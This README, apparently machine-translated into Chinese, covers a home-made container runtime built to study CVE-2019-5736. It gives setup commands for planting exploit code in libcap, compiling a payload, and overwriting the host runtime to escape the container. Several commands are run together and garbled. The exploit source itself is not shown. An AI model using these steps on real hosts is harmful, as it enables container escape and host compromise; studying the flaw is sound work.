CVE-2019-5736 通过一个浅层的、自编写的容器运行时实现,以理解该漏洞利用。
该漏洞利用基于(且几乎全部拷贝自)twistlock 的 runc-poc:https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/malicious_image_POC
详情请参见代码文档。
Usage: quarantine [OPTIONS] [BINARY and its ARGS]
--rootfs: (mandatory) Specify a rootfs for the container.
--urange: Specify a urange start_host:end_host,start_guest.
--grange: Specify a grange start_host:end_host,start_guest.
--uid: Specify the desired UID in the container.
--ugd: Specify the desired GID in the container.
--supp: Append supplementary groups from the specified grange to the process running in the container.
解除除用户命名空间(user ns)之外的所有命名空间的共享。用户命名空间在特殊情况下才会解除共享,即当指定了 urange、grange、uid 和/或 gid 时。
此过程已在 Ubuntu 18.04 上测试并完成。
mkdir rootfssudo debootstrap bionic ./rootfsgit clone https://github.com/mhiramat/libcapcat exploit_code_for_shared_lib.c >> <any cap*.c, I used cap_alloc.c>makelibcap.so
sudo chroot rootfsapt install libcap-devlibcap.so.2.25 文件复制到相应的 rootfs 目录中
-sudo cp libcap.so.2.25 rootfs/lib/x86_64-linux-gnu
ldd quarantine例如:sudo ./quarantine --rootfs rootfs /shebang_exploit 或 ./quarantine --rootfs rootfs --uid 1 /shebang_exploit。
只要您在主机上保留 CAP_DAC_OVERRIDE 或 CAP_SYS_ADMIN 权限(即在使用 sudo 时不解除用户命名空间的共享,因为这会丢弃父命名空间中的权限),或者您拥有主机上的文件,它就能正常工作。
sudo cp shebang_exploit rootfs/sudo gcc -o rootfs/root/payload payload.csudo gcc -o rootfs/overwrite_sndbx_runtime overwrite_sndbx_runtime.c